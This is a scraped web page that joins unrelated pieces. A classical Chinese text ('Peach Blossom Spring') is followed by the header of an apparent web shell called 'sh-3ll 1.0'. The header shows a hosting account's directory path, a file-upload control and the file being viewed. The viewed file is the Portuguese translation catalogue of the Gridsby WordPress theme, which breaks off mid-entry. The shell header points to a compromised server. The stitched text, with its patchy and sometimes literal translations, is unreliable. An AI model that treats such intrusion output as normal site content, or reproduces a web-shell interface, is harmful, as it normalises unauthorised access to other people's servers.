晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/salvufkx/homedir/www/wp-content/themes/gridsby/languages/
Upload File :
Current File : //home/salvufkx/homedir/www/wp-content/themes/gridsby/languages/pt_PT.po
msgid ""
msgstr ""
"Project-Id-Version: Gridsby v1.0.35\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: \n"
"PO-Revision-Date: 2015-05-01 22:22:12+0000\n"
"Last-Translator: robbie <contact@modernthemes.net>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: CSL v1.x\n"
"X-Poedit-Language: Portuguese\n"
"X-Poedit-Country: PORTUGAL\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;\n"
"X-Poedit-Basepath: ../\n"
"X-Poedit-Bookmarks: \n"
"X-Poedit-SearchPath-0: .\n"
"X-Textdomain-Support: yes"

#: 404.php:17
#@ gridsby
msgid "Oops! That page can&rsquo;t be found."
msgstr "Opa! Essa página não pode ser encontrada."

#: 404.php:21
#@ gridsby
msgid "It looks like nothing was found at this location. Maybe try one of the links below or a search?"
msgstr "Parece que nada foi encontrado neste local. Talvez tente um dos links abaixo ou uma busca?"

#: archive.php:29
#: inc/template-tags.php:147
#, php-format
#@ gridsby
msgid "Author: %s"
msgstr "Autor: %s"

#: archive.php:32
#: inc/template-tags.php:153
#, php-format
#@ gridsby
msgid "Day: %s"
msgstr "Dia: %s"

#: archive.php:35
#: inc/template-tags.php:151
#, php-format
#@ gridsby
msgid "Month: %s"
msgstr "Mês: %s"

#: archive.php:35
#: inc/template-tags.php:151
#@ gridsby
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:38
#: inc/template-tags.php:149
#, php-format
#@ gridsby
msgid "Year: %s"
msgstr "Ano: %s"

#: archive.php:38
#: inc/template-tags.php:149
#@ gridsby
msgctxt "yearly archives date format"
msgid "Y"
msgstr ""

#: archive.php:41
#@ gridsby
msgid "Asides"
msgstr "Apartes"

#: archive.php:44
#@ gridsby
msgid "Galleries"
msgstr "Galerias"

#: archive.php:47
#@ gridsby
msgid "Images"
msgstr "Imagens"

#: archive.php:50
#@ gridsby
msgid "Videos"
msgstr "Vídeos"

#: archive.php:53
#@ gridsby
msgid "Quotes"
msgstr "Cotações"

#: archive.php:56
#@ gridsby
msgid "Links"
msgstr "Links"

#: archive.php:59
#@ gridsby
msgid "Statuses"
msgstr "Status"

#: archive.php:62
#@ gridsby
msgid "Audios"
msgstr "Áudios"

#: archive.php:65
#@ gridsby
msgid "Chats"
msgstr "Bate-papos"

#: archive.php:68
#: inc/template-tags.php:181
#@ gridsby
msgid "Archives"
msgstr "Archives"

#: comments.php:28
#, php-format
#@ gridsby
msgctxt "comments title"
msgid "One thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] ""
msgstr[1] ""

#: comments.php:35
#: comments.php:52
#@ gridsby
msgid "Comment navigation"
msgstr "Navegação de comentário"

#: comments.php:36
#: comments.php:53
#@ gridsby
msgid "&larr; Older Comments"
msgstr "&larr; Comentários mais antigos"

#: comments.php:37
#: comments.php:54
#@ gridsby
msgid "Newer Comments &rarr;"
msgstr "Comentários mais recentes &rarr;"

#: comments.php:64
#@ gridsby
msgid "Comments are closed."
msgstr "Comentários estão fechados."

#: content-none.php:14
#@ gridsby
msgid "Nothing Found"
msgstr "Nada foi encontrado"

#: content-none.php:20
#, php-format
#@ gridsby
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr ""

#: content-none.php:24
#@ gridsby
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Desculpa, mas nada comparado a seus termos de pesquisa. Por favor, tente novamente com algumas palavras-chave diferente."

#: content-none.php:29
#@ gridsby
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr ""

#: content-page.php:19
#: content-single.php:25
#: content.php:35
#@ gridsby
msgid "Pages:"
msgstr "Páginas:"

#: content-page.php:26
#: inc/template-tags.php:126
#@ gridsby
msgid "Edit"
msgstr "Editar"

#. translators: %s: Name of current post
#: content.php:27
#, php-format
#@ gridsby
msgid "Continue reading %s <span class=\"meta-nav\">&rarr;</span>"
msgstr ""

#: content.php:29
#@ {bug-detected}
msgid "<span class=\"screen-reader-text\">\""
msgstr ""

#: content.php:45
#: inc/customizer.php:986
#@ gridsby
msgid "Read More"
msgstr "Leia mais"

#: footer.php:121
#, php-format
#@ gridsby
msgid "Theme: %1$s by %2$s"
msgstr ""

#: functions.php:57
#@ gridsby
msgid "Primary Menu"
msgstr "Menu principal"

#: functions.php:90
#@ gridsby
msgid "Sidebar"
msgstr "Barra lateral"

#: functions.php:100
#@ gridsby
msgid "Home Widget"
msgstr "Widget para casa"

#: functions.php:102
#@ gridsby
msgid "The widget area for your home page."
msgstr "A área de widget para sua home page."

#: header.php:38
#@ gridsby
msgid "Skip to content"
msgstr "Pular para o conteúdo"

#: header.php:41
#@ gridsby
msgid "Close Menu"
msgstr "Fechar Menu"

#: header.php:53
#@ gridsby
msgid "145"
msgstr ""

#: header.php:65
#@ gridsby
msgid "Menu"
msgstr "Menu"

#: inc/customizer.php:25
#@ gridsby
msgid "Gridsby Pro"
msgstr "Gridsby Pro"

#: inc/customizer.php:49
#@ gridsby
msgid "Google Fonts"
msgstr "Fontes do Google"

#: inc/customizer.php:121
#@ gridsby
msgid "Select your desired font for the headings. Open Sans is the default Heading font."
msgstr "Selecione a fonte desejada para os títulos. Sans aberto é a fonte de cabeçalho padrão."

#: inc/customizer.php:139
#@ gridsby
msgid "Select your desired font for the body. Open Sans is the default Body font."
msgstr "Selecione a fonte desejada para o corpo. Sans aberto é a fonte padrão do corpo."

#: inc/customizer.php:164
#@ gridsby
msgid "Text Color"
msgstr "Cor do texto"

#: inc/customizer.php:176
#@ gridsby
msgid "Link Color"
msgstr "Cor do link"

#: inc/customizer.php:188
#@ gridsby
msgid "Hover Color"
msgstr "Cor hover"

#: inc/customizer.php:200
#@ gridsby
msgid "Site Title Color"
msgstr "Cor do título de site"

#: inc/customizer.php:212
#@ gridsby
msgid "Theme Color"
msgstr "Cor do tema"

#: inc/customizer.php:224
#@ gridsby
msgid "Blockquote Text"
msgstr "Blockquote texto"

#: inc/customizer.php:236
#@ gridsby
msgid "Blockquote Accent Color"
msgstr "Cor de acento blockquote"

#: inc/customizer.php:248
#@ gridsby
msgid "Page Navigation Background Color"
msgstr "Cor de fundo de navegação de página"

#: inc/customizer.php:260
#@ gridsby
msgid "Page Navigation Link Color"
msgstr "Cor de Link de navegação de página"

#: inc/customizer.php:272
#@ gridsby
msgid "Page Navigation Border Color"
msgstr "Cor de borda de navegação de página"

#: inc/customizer.php:281
#@ gridsby
msgid "Logo and Icons"
msgstr "Logotipo e ícones"

#: inc/customizer.php:283
#@ gridsby
msgid "Upload a logo to replace the default site name and description in the header. Also, upload your site favicon and Apple Icons."
msgstr "Fazer upload de um logotipo para substituir o nome do site padrão e a descrição no cabeçalho. Além disso, carregar seu site favicon e ícones da Apple."

#: inc/customizer.php:291
#@ gridsby
msgid "Logo"
msgstr "Logotipo"

#: inc/customizer.php:310
#@ gridsby
msgid "Change the width of the Logo in PX."
msgstr "Altere a largura do logotipo no PX."

#: inc/customizer.php:311
#@ gridsby
msgid "Only enter numeric value"
msgstr "Apenas digite o valor numérico"

#: inc/customizer.php:327
#@ gridsby
msgid "Upload your favicon (16x16 pixels)"
msgstr "Carregar seu favicon (16 x 16 pixels)"

#: inc/customizer.php:348
#@ gridsby
msgid "Upload your Apple Touch Icon (144x144 pixels)"
msgstr "Carregar seu ícone Touch Apple (144 x 144 pixels)"

#: inc/customizer.php:369
#@ gridsby
msgid "Upload your Apple Touch Icon (114x114 pixels)"
msgstr "Carregar seu ícone Touch Apple (114 x 114 pixels)"

#: inc/customizer.php:390
#@ gridsby
msgid "Upload your Apple Touch Icon (72x72 pixels)"
msgstr "Carregar seu ícone Touch Apple (72 x 72 pixels)"

#: inc/customizer.php:411
#@ gridsby
msgid "Upload your Apple Touch Icon (57x57 pixels)"
msgstr "Carregar seu ícone Touch Apple (57 x 57 pixels)"

#: inc/customizer.php:425
#@ gridsby
msgid "Social Media Section"
msgstr "Seção de meios de comunicação social"

#: inc/customizer.php:426
#@ gridsby
msgid "Edit your home page social media icons"
msgstr "Editar ícones de mídias sociais sua página inicial"

#: inc/customizer.php:431
#@ gridsby
msgid "Social Media Icons"
msgstr "Ícones de mídias sociais"

#: inc/customizer.php:446
#@ gridsby
msgid "Hide Header Social Section"
msgstr "Ocultar o seção de cabeçalho Social"

#: inc/customizer.php:461
#@ gridsby
msgid "Hide Footer Social Section"
msgstr "Ocultar a seção de rodapé Social"

#: inc/customizer.php:473
#@ gridsby
msgid "Social Icon Color"
msgstr "Cor do ícone social"

#: inc/customizer.php:485
#@ gridsby
msgid "Social Icon Hover Color"
msgstr "Ícone social Hover cor"

#: inc/customizer.php:498
#@ gridsby
msgid "Facebook URL:"
msgstr "Facebook URL:"

#: inc/customizer.php:511
#@ gridsby
msgid "Twitter URL:"
msgstr ""

#: inc/customizer.php:524
#@ gridsby
msgid "LinkedIn URL:"
msgstr ""

#: inc/customizer.php:537
#@ gridsby
msgid "Google Plus URL:"
msgstr ""

#: inc/customizer.php:550
#@ gridsby
msgid "Instagram URL:"
msgstr ""

#: inc/customizer.php:563
#@ gridsby
msgid "Flickr URL:"
msgstr ""

#: inc/customizer.php:576
#@ gridsby
msgid "Pinterest URL:"
msgstr ""

#: inc/customizer.php:589
#@ gridsby
msgid "YouTube URL:"
msgstr ""

#: inc/customizer.php:602
#@ gridsby
msgid "Vimeo URL:"
msgstr ""

#: inc/customizer.php:615
#@ gridsby
msgid "Tumblr URL:"
msgstr ""

#: inc/customizer.php:628
#@ gridsby
msgid "Dribbble URL:"
msgstr ""

#: inc/customizer.php:641
#@ gridsby
msgid "RSS URL:"
msgstr ""

#: inc/customizer.php:701
#: inc/customizer.php:707
#@ gridsby
msgid "Home Section"
msgstr "Seção casa"

#: inc/customizer.php:702
#@ gridsby
msgid "Edit your home page settings"
msgstr "Editar suas configurações de página inicial"

#: inc/customizer.php:709
#@ gridsby
msgid "Customize your Gridsby home page."
msgstr "Personalize sua página inicial do Gridsby."

#: inc/customizer.php:723
#@ gridsby
msgid "Hide Gallery Section"
msgstr "Seção Galeria de ocultar"

#: inc/customizer.php:738
#@ gridsby
msgid "Hide Blog Section"
msgstr "Ocultar a seção de Blog"

#: inc/customizer.php:750
#@ gridsby
msgid "View More Button Text"
msgstr "Ver mais texto de botão"

#: inc/customizer.php:763
#@ gridsby
msgid "Gallery Button URL"
msgstr "Galeria botão URL"

#: inc/customizer.php:777
#@ gridsby
msgid "Blog Title"
msgstr "Título do blog"

#: inc/customizer.php:788
#: inc/customizer.php:794
#@ gridsby
msgid "Home Widget Section"
msgstr "Seção de Widget para casa"

#: inc/customizer.php:789
#@ gridsby
msgid "Edit your home page widget settings"
msgstr "Editar suas configurações de página inicial widget"

#: inc/customizer.php:796
#@ gridsby
msgid "Customize the home widget area. The main body of the widget area can be edited under the Widgets section."
msgstr "Personalize a área de widget para casa. O corpo principal da área do widget pode ser editado sob a seção de Widgets."

#: inc/customizer.php:810
#@ gridsby
msgid "Hide Widget Section"
msgstr "Ocultar Widget seção"

#: inc/customizer.php:857
#@ gridsby
msgid "Widget Button Text"
msgstr "Texto do botão"

#: inc/customizer.php:885
#@ gridsby
msgid "External URL Option"
msgstr "Opção de URL externa"

#: inc/customizer.php:886
#@ gridsby
msgid "If you use an external URL, leave the Widget Button Link above empty. Must include http:// before any URL."
msgstr "Se você usar um URL externo, deixe o Link do botão Widget acima de vazio. Deve incluir http:// antes de qualquer URL."

#: inc/customizer.php:894
#@ gridsby
msgid "Footer"
msgstr "Rodapé"

#: inc/customizer.php:896
#@ gridsby
msgid "Customize your footer area"
msgstr "Personalizar sua área de rodapé"

#: inc/customizer.php:906
#@ gridsby
msgid "Footer Phone Number"
msgstr "Número de telefone de rodapé"

#: inc/customizer.php:919
#@ gridsby
msgid "Footer Email"
msgstr "E-mail do rodapé"

#: inc/customizer.php:932
#@ gridsby
msgid "Footer Byline Text"
msgstr "Texto de rodapé Byline"

#: inc/customizer.php:940
#@ gridsby
msgid "Blog Layout"
msgstr "Layout do blog"

#: inc/customizer.php:942
#@ gridsby
msgid "Change how gridsby displays posts"
msgstr "Alterar como gridsby exibe mensagens"

#: inc/customizer.php:951
#@ gridsby
msgid "Post content"
msgstr "Postar conteúdo"

#: inc/customizer.php:973
#@ gridsby
msgid "Excerpt length"
msgstr "Comprimento do trecho"

#: inc/customizer.php:974
#@ gridsby
msgid "Choose your excerpt length here. Default: 30 words"
msgstr "Escolha seu comprimento do trecho aqui. Padrão: 30 palavras"

#: inc/customizer.php:991
#@ gridsby
msgid "Read More Text"
msgstr "Leia o texto mais"

#: inc/extras.php:52
#, php-format
#@ gridsby
msgid "Page %s"
msgstr "Página %s"

#: inc/template-tags.php:23
#@ gridsby
msgid "Posts navigation"
msgstr "Navegação de Posts"

#: inc/template-tags.php:27
#@ gridsby
msgid "Older posts"
msgstr "Posts mais antigos"

#: inc/template-tags.php:31
#@ gridsby
msgid "Newer posts"
msgstr "Posts mais recentes"

#: inc/template-tags.php:56
#@ gridsby
msgid "Post navigation"
msgstr "Navegação de post"

#: inc/template-tags.php:86
#, php-format
#@ gridsby
msgctxt "post date"
msgid "Posted on %s"
msgstr "Postado em %s"

#: inc/template-tags.php:91
#, php-format
#@ gridsby
msgctxt "post author"
msgid "by %s"
msgstr "por %s"

#. translators: used between list items, there is a space after the comma
#: inc/template-tags.php:108
#: inc/template-tags.php:114
#@ gridsby
msgid ", "
msgstr ", "

#: inc/template-tags.php:110
#, php-format
#@ gridsby
msgid "Posted in %1$s"
msgstr "Postado em %1$s"

#: inc/template-tags.php:116
#, php-format
#@ gridsby
msgid "Tagged %1$s"
msgstr "Tagged %1$s"

#: inc/template-tags.php:122
#@ gridsby
msgid "Leave a comment"
msgstr "Deixe um comentário"

#: inc/template-tags.php:122
#@ gridsby
msgid "1 Comment"
msgstr ""

#: inc/template-tags.php:122
#@ gridsby
msgid "% Comments"
msgstr "% Comentários"

#: inc/template-tags.php:143
#, php-format
#@ gridsby
msgid "Category: %s"
msgstr "Categoria: %s"

#: inc/template-tags.php:145
#, php-format
#@ gridsby
msgid "Tag: %s"
msgstr "Tag: %s"

#: inc/template-tags.php:153
#@ gridsby
msgctxt "daily archives date format"
msgid "F j, Y"
msgstr ""

#: inc/template-tags.php:156
#@ gridsby
msgctxt "post format archive title"
msgid "Asides"
msgstr "Apartes"

#: inc/template-tags.php:158
#@ gridsby
msgctxt "post format archive title"
msgid "Galleries"
msgstr "Galerias"

#: inc/template-tags.php:160
#@ gridsby
msgctxt "post format archive title"
msgid "Images"
msgstr "Imagens"

#: inc/template-tags.php:162
#@ gridsby
msgctxt "post format archive title"
msgid "Videos"
msgstr "Vídeos"

#: inc/template-tags.php:164
#@ gridsby
msgctxt "post format archive title"
msgid "Quotes"
msgstr "Cotações"

#: inc/template-tags.php:166
#@ gridsby
msgctxt "post format archive title"
msgid "Links"
msgstr "Links"

#: inc/template-tags.php:168
#@ gridsby
msgctxt "post format archive title"
msgid "Statuses"
msgstr "Status"

#: inc/template-tags.php:170
#@ gridsby
msgctxt "post format archive title"
msgid "Audio"
msgstr "Áudio"

#: inc/template-tags.php:172
#@ gridsby
msgctxt "post format archive title"
msgid "Chats"
msgstr "Bate-papos"

#: inc/template-tags.php:175
#, php-format
#@ gridsby
msgid "Archives: %s"
msgstr "Arquivos: %s"

#. translators: 1: Taxonomy singular name, 2: Current taxonomy term
#: inc/template-tags.php:179
#, php-format
#@ gridsby
msgid "%1$s: %2$s"
msgstr ""

#: panel/class-tgm-plugin-activation.php:321
#@ tgmpa
msgid "Install Required Plugins"
msgstr ""

#: panel/class-tgm-plugin-activation.php:323
#@ tgmpa
msgid "Install Plugins"
msgstr ""

#: panel/class-tgm-plugin-activation.php:325
#, php-format
#@ tgmpa
msgid "Installing Plugin: %s"
msgstr ""

#: panel/class-tgm-plugin-activation.php:327
#@ tgmpa
msgid "Something went wrong."
msgstr ""

#: panel/class-tgm-plugin-activation.php:329
#, php-format
#@ gridsby
msgid "This theme requires the following plugin: %1$s."
msgid_plural "This theme requires the following plugins: %1$s."
msgstr[0] "Este tema requer o seguinte plugin: %1$s."
msgstr[1] "Este tema requer os seguintes plugins: %1$s."

#: panel/class-tgm-plugin-activation.php:331
#, php-format
#@ gridsby
msgid "First time using Modern Themes? We recommend certain plugins if you desire additional functionality (like %1$s)."
msgid_plural "First time using Modern Themes? We recommend certain plugins if you desire additional functionality (like %1$s)."
msgstr[0] "Primeira vez usando temas modernos? Nós recomendamos certos plugins, se você deseja funcionalidade adicional (como %1$s)."
msgstr[1] "Primeira vez usando temas modernos? Nós recomendamos certos plugins, se você deseja funcionalidade adicional (como %1$s)."

#: panel/class-tgm-plugin-activation.php:333
#, php-format
#@ gridsby
msgid "Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed."
msgid_plural "Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed."
msgstr[0] "Desculpe, mas você não tem as permissões corretas para instalar o plug-in %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter o plug-in instalado."
msgstr[1] "Desculpe, mas você não tem as permissões corretas para instalar os plugins de %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter os plugins instalados."

#: panel/class-tgm-plugin-activation.php:335
#, php-format
#@ gridsby
msgid "The following required plugin is currently inactive: %1$s."
msgid_plural "The following required plugins are currently inactive: %1$s."
msgstr[0] "O seguinte necessário plugin é inativo no momento: %1$s."
msgstr[1] "O seguinte exigido plugins estão atualmente inativos: %1$s."

#: panel/class-tgm-plugin-activation.php:337
#, php-format
#@ gridsby
msgid "The following recommended plugin is currently inactive: %1$s."
msgid_plural "The following recommended plugins are currently inactive: %1$s."
msgstr[0] "O seguinte recomendado plugin é inativo no momento: %1$s."
msgstr[1] "O seguinte recomendado plugins estão atualmente inativos: %1$s."

#: panel/class-tgm-plugin-activation.php:339
#, php-format
#@ gridsby
msgid "Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated."
msgid_plural "Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated."
msgstr[0] "Desculpe, mas você não tem as permissões corretas para ativar o plugin %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter o plugin ativado."
msgstr[1] "Desculpe, mas você não tem as permissões corretas para ativar os plugins de %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter os plugins ativados."

#: panel/class-tgm-plugin-activation.php:341
#, php-format
#@ gridsby
msgid "The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s."
msgid_plural "The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s."
msgstr[0] "O seguinte plugin precisa ser atualizado para a versão mais recente para garantir a máxima compatibilidade com este tema: %1$s."
msgstr[1] "Os seguintes plugins precisa ser atualizado para a versão mais recente para garantir a máxima compatibilidade com este tema: %1$s."

#: panel/class-tgm-plugin-activation.php:343
#, php-format
#@ gridsby
msgid "Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated."
msgid_plural "Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated."
msgstr[0] "Desculpe, mas você não tem as permissões corretas para atualizar o plugin %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter o plugin atualizado."
msgstr[1] "Desculpe, mas você não tem as permissões corretas para atualizar os plugins de %s. Entrar em contato com o administrador do site para obter ajuda sobre como obter os plugins atualizados."

#: panel/class-tgm-plugin-activation.php:345
#@ gridsby
msgid "Begin installing plugin"
msgid_plural "Begin installing plugins"
msgstr[0] "Começar a instalar o plugin"
msgstr[1] "Começar a instalar plugins"

#: panel/class-tgm-plugin-activation.php:347
#@ gridsby
msgid "Begin activating plugin"
msgid_plural "Begin activating plugins"
msgstr[0] "Começar a ativar o plugin"
msgstr[1] "Comece ativando plugins"

#: panel/class-tgm-plugin-activation.php:349
#@ tgmpa
msgid "Return to Required Plugins Installer"
msgstr ""

#: panel/class-tgm-plugin-activation.php:351
#@ tgmpa
msgid "Return to the dashboard"
msgstr ""

#: panel/class-tgm-plugin-activation.php:353
#: panel/class-tgm-plugin-activation.php:3891
#@ tgmpa
msgid "Plugin activated successfully."
msgstr ""

#: panel/class-tgm-plugin-activation.php:357
#, php-format
#@ tgmpa
msgid "All plugins installed and activated successfully. %1$s"
msgstr ""

#: panel/class-tgm-plugin-activation.php:359
#@ tgmpa
msgid "Dismiss this notice"
msgstr ""

#: panel/class-tgm-plugin-activation.php:1069
#: panel/class-tgm-plugin-activation.php:4325
#@ tgmpa
msgid "Return to the Dashboard"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2339
#@ tgmpa
msgid "Private Repository"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2345
#@ tgmpa
msgid "Pre-Packaged"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2355
#@ tgmpa
msgid "WordPress Repository"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2361
#@ tgmpa
msgid "Required"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2361
#@ tgmpa
msgid "Recommended"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2367
#@ tgmpa
msgid "Not Installed"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2371
#@ tgmpa
msgid "Installed But Not Activated"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2581
#: panel/class-tgm-plugin-activation.php:2797
#@ tgmpa
msgid "Install"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2625
#: panel/class-tgm-plugin-activation.php:2799
#@ tgmpa
msgid "Activate"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2723
#, php-format
#@ tgmpa
msgid "No plugins to install or activate. <a href=\"%1$s\" title=\"Return to the Dashboard\">Return to the Dashboard</a>"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2755
#@ tgmpa
msgid "Plugin"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2757
#@ tgmpa
msgid "Source"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2759
#@ tgmpa
msgid "Type"
msgstr ""

#: panel/class-tgm-plugin-activation.php:2761
#@ tgmpa
msgid "Status"
msgstr ""

#. gettext fix: identical singular and plural forms found, that may be ambiguous! Please check the code!
#: panel/class-tgm-plugin-activation.php:3273
#: panel/class-tgm-plugin-activation.php:355
#@ tgmpa
msgid "The following plugin was activated successfully:"
msgid_plural "The following plugins were activated successfully:"
msgstr[0] ""
msgstr[1] ""

#: panel/class-tgm-plugin-activation.php:3857
#@ tgmpa
msgid "Install package not available."
msgstr ""

#: panel/class-tgm-plugin-activation.php:3859
#, php-format
#@ tgmpa
msgid "Downloading install package from <span class=\"code\">%s</span>&#8230;"
msgstr ""

#: panel/class-tgm-plugin-activation.php:3861
#@ tgmpa
msgid "Unpacking the package&#8230;"
msgstr ""

#: panel/class-tgm-plugin-activation.php:3863
#@ tgmpa
msgid "Installing the plugin&#8230;"
msgstr ""

#: panel/class-tgm-plugin-activation.php:3865
#@ tgmpa
msgid "Plugin install failed."
msgstr ""

#: panel/class-tgm-plugin-activation.php:3867
#@ tgmpa
msgid "Plugin installed successfully."
msgstr ""

#: panel/class-tgm-plugin-activation.php:3889
#@ tgmpa
msgid "Plugin activation failed."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4117
#@ tgmpa
msgid "The installation and activation process is starting. This process may take a while on some hosts, so please be patient."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4119
#, php-format
#@ tgmpa
msgid "%1$s installed and activated successfully."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4119
#: panel/class-tgm-plugin-activation.php:4137
#@ tgmpa
msgid "Show Details"
msgstr ""

#: panel/class-tgm-plugin-activation.php:4119
#: panel/class-tgm-plugin-activation.php:4137
#@ tgmpa
msgid "Hide Details"
msgstr ""

#: panel/class-tgm-plugin-activation.php:4121
#@ tgmpa
msgid "All installations and activations have been completed."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4123
#, php-format
#@ tgmpa
msgid "Installing and Activating Plugin %1$s (%2$d/%3$d)"
msgstr ""

#: panel/class-tgm-plugin-activation.php:4131
#@ tgmpa
msgid "The installation process is starting. This process may take a while on some hosts, so please be patient."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4133
#, php-format
#@ tgmpa
msgid "An error occurred while installing %1$s: <strong>%2$s</strong>."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4135
#, php-format
#@ tgmpa
msgid "The installation of %1$s failed."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4137
#, php-format
#@ tgmpa
msgid "%1$s installed successfully."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4139
#@ tgmpa
msgid "All installations have been completed."
msgstr ""

#: panel/class-tgm-plugin-activation.php:4141
#, php-format
#@ tgmpa
msgid "Installing Plugin %1$s (%2$d/%3$d)"
msgstr ""

#: panel/gridsby-admin_page.php:207
#@ gridsby
msgid "Gridsby Theme Details"
msgstr "Detalhes do tema Gridsby"

#: panel/gridsby-admin_page.php:212
#@ gridsby
msgid "Thank you for using Gridsby!"
msgstr "Obrigado por usar Gridsby!"

#: panel/gridsby-admin_page.php:216
#@ gridsby
msgid "Gridsby Theme Setup"
msgstr "Configuração de tema Gridsby"

#: panel/gridsby-admin_page.php:220
#@ gridsby
msgid "We created a quick theme setup video to help you get started with Gridsby. Watch the video with the link below"
msgstr "Criamos uma instalação de tema rápido vídeo para ajudá-lo a começar com Gridsby. Assista ao vídeo com o link abaixo"

#: panel/gridsby-admin_page.php:224
#@ gridsby
msgid "View Video"
msgstr "Veja o vídeo"

#: panel/gridsby-admin_page.php:228
#@ gridsby
msgid "Documentation"
msgstr "Documentação"

#: panel/gridsby-admin_page.php:232
#@ gridsby
msgid "Check out our Gridsby documentation to learn how to use Gridsby and for tutorials on theme functions. Click the link below."
msgstr "Verifique nossa documentação Gridsby para aprender como usar o Gridsby e para tutoriais sobre funções do tema. Clique no link abaixo."

#: panel/gridsby-admin_page.php:236
#@ gridsby
msgid "Read Docs"
msgstr "Leia os documentos"

#: panel/gridsby-admin_page.php:240
#@ gridsby
msgid "About ModernThemes"
msgstr "Sobre ModernThemes"

#: panel/gridsby-admin_page.php:244
#@ gridsby
msgid "Want to learn more about ModernThemes? Let us help you at modernthemes.net."
msgstr "Quer saber mais sobre ModernThemes? Deixe-nos ajudá-lo em modernthemes.net."

#: panel/gridsby-admin_page.php:248
#@ gridsby
msgid "About Us"
msgstr "Quem somos"

#: panel/gridsby-admin_page.php:252
#@ gridsby
msgid "Want more features? Go Pro."
msgstr "Quer mais recursos? Ir Pro."

#: panel/gridsby-admin_page.php:256
#@ gridsby
msgid "Sell Your Photos"
msgstr "Vender suas fotos"

#: panel/gridsby-admin_page.php:260
#@ gridsby
msgid "Make your website a powerful eCommerce machine. Gridsby Pro includes Easy Digital Downloads to turn photos into profit."
msgstr "Fazer uma máquina poderosa de eCommerce para o seu site. Gridsby Pro inclui fácil Digital Downloads para transformar fotos em lucro."

#: panel/gridsby-admin_page.php:264
#@ gridsby
msgid "More Theme Options"
msgstr "Mais opções de tema"

#: panel/gridsby-admin_page.php:272
#@ gridsby
msgid "Home Gallery Options"
msgstr "Opções Home Galeria"

#: panel/gridsby-admin_page.php:276
#@ gridsby
msgid "Control the number of photos in your home page gallery. You can put up to 200 photos right on your front page for greater visbility."
msgstr "Controle o número de fotos em sua galeria de página inicial. Você pode colocar até 200 fotos em sua página dianteira para maior visbility."

#: panel/gridsby-admin_page.php:280
#@ gridsby
msgid "Footer Widget Areas"
msgstr "Áreas de Widget de rodapé"

#: panel/gridsby-admin_page.php:284
#@ gridsby
msgid "Want more content for your footer? Gridsby Pro has three footer widget areas to populate with any content you want."
msgstr "Quer mais conteúdo para o seu rodapé? Gridsby Pro tem três áreas de widget de rodapé para preencher com qualquer conteúdo que você quer."

#: panel/gridsby-admin_page.php:288
#@ gridsby
msgid "More Sidebars"
msgstr "Mais barras laterais"

#: panel/gridsby-admin_page.php:292
#@ gridsby
